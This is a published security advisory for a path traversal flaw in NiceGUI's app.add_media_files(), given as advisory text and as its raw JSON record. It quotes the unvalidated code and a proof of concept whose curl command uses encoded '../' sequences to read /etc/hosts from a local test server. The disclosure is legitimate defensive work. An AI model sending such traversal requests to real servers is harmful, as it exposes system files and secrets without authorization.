PYSEC-2026-1700

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:24
VLAI
Details

Summary

A directory traversal vulnerability in NiceGUI's App.add_media_files() allows a remote attacker to read arbitrary files on the server filesystem.

Details

Hello, I am Seungbin Yang, a university student studying cybersecurity. While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.

The App.add_media_files(url_path, local_directory) method allows users to serve media files. However, the implementation lacks proper path validation.

def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:
    @self.get(url_path.rstrip('/') + '/{filename:path}')
    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:
        filepath = Path(local_directory) / filename
        if not filepath.is_file():
            raise HTTPException(status_code=404, detail='Not Found')
        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)

Root Cause: 1. The {filename:path} parameter accepts full paths, including traversal sequences like ../. 2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory. 3. There is no path sanitization or boundary check.

Consequence: An attacker can use .. to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.

POC

  1. Create poc.py:
# poc.py
from pathlib import Path
from nicegui import app, ui

MEDIA_DIR = Path(__file__).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)

# Expose local "media" directory at /media
app.add_media_files('/media', MEDIA_DIR)

@ui.page('/')
def index():
    ui.label('NiceGUI media PoC')

ui.run(port=8080, reload=False)

  1. Run the application: python3 poc.py

  2. Exploit with curl: Use URL-encoded dots (%2e) to bypass client-side checks. curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"

Result:

The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.

I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.

POC screenshot

Impact

Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:

•Application source code and configuration files •Credentials, API keys, and secrets •Operating system configuration files (e.g., /etc/passwd, /etc/hosts)

This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.

Thank you.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Impacted products
Name purl
nicegui pkg:pypi/nicegui
Aliases
To clipboard 

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        "purl": "pkg:pypi/nicegui"
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  "aliases": [
    "CVE-2025-66645",
    "GHSA-hxp3-63hc-5366"
  ],
  "details": "### Summary\n\nA directory traversal vulnerability in NiceGUI\u0027s `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem.\n\n### Details\n\nHello, I am Seungbin Yang, a university student studying cybersecurity. \nWhile reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.\n\nThe `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation.\n\n```python\ndef add_media_files(self, url_path: str, local_directory: Union[str, Path]) -\u003e None:\n    @self.get(url_path.rstrip(\u0027/\u0027) + \u0027/{filename:path}\u0027)\n    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -\u003e Response:\n        filepath = Path(local_directory) / filename\n        if not filepath.is_file():\n            raise HTTPException(status_code=404, detail=\u0027Not Found\u0027)\n        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)\n```\nRoot Cause:\n1. The `{filename:path}` parameter accepts full paths, including traversal sequences like `../`.\n2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.\n3. There is no path sanitization or boundary check.\n\nConsequence:\nAn attacker can use `..` to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.\n\n### POC\n1. Create `poc.py`:\n```python\n# poc.py\nfrom pathlib import Path\nfrom nicegui import app, ui\n\nMEDIA_DIR = Path(__file__).parent / \u0027media\u0027\nMEDIA_DIR.mkdir(exist_ok=True)\n\n# Expose local \"media\" directory at /media\napp.add_media_files(\u0027/media\u0027, MEDIA_DIR)\n\n@ui.page(\u0027/\u0027)\ndef index():\n    ui.label(\u0027NiceGUI media PoC\u0027)\n\nui.run(port=8080, reload=False)\n```\n\n2. Run the application: `python3 poc.py`\n\n3. Exploit with curl: Use URL-encoded dots (`%2e`) to bypass client-side checks.\n```curl -v \"http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts\"```\n\n\n### Result:\nThe HTTP status is 200 OK, and the response body contains the contents of the server\u2019s /etc/hosts file.\n\nI have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.\n\n\u003cimg width=\"1728\" height=\"1078\" alt=\"POC screenshot\" src=\"https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775\" /\u003e\n\n### Impact\n\nAny NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:\n\n\u2022Application source code and configuration files\n\u2022Credentials, API keys, and secrets\n\u2022Operating system configuration files (e.g., /etc/passwd, /etc/hosts)\n\nThis is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.\n\nThank you.",
  "id": "PYSEC-2026-1700",
  "modified": "2026-07-07T17:24:49.248543Z",
  "published": "2026-07-07T16:03:12.541903Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66645"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zauberzeug/nicegui"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/nicegui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hxp3-63hc-5366"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read"
}


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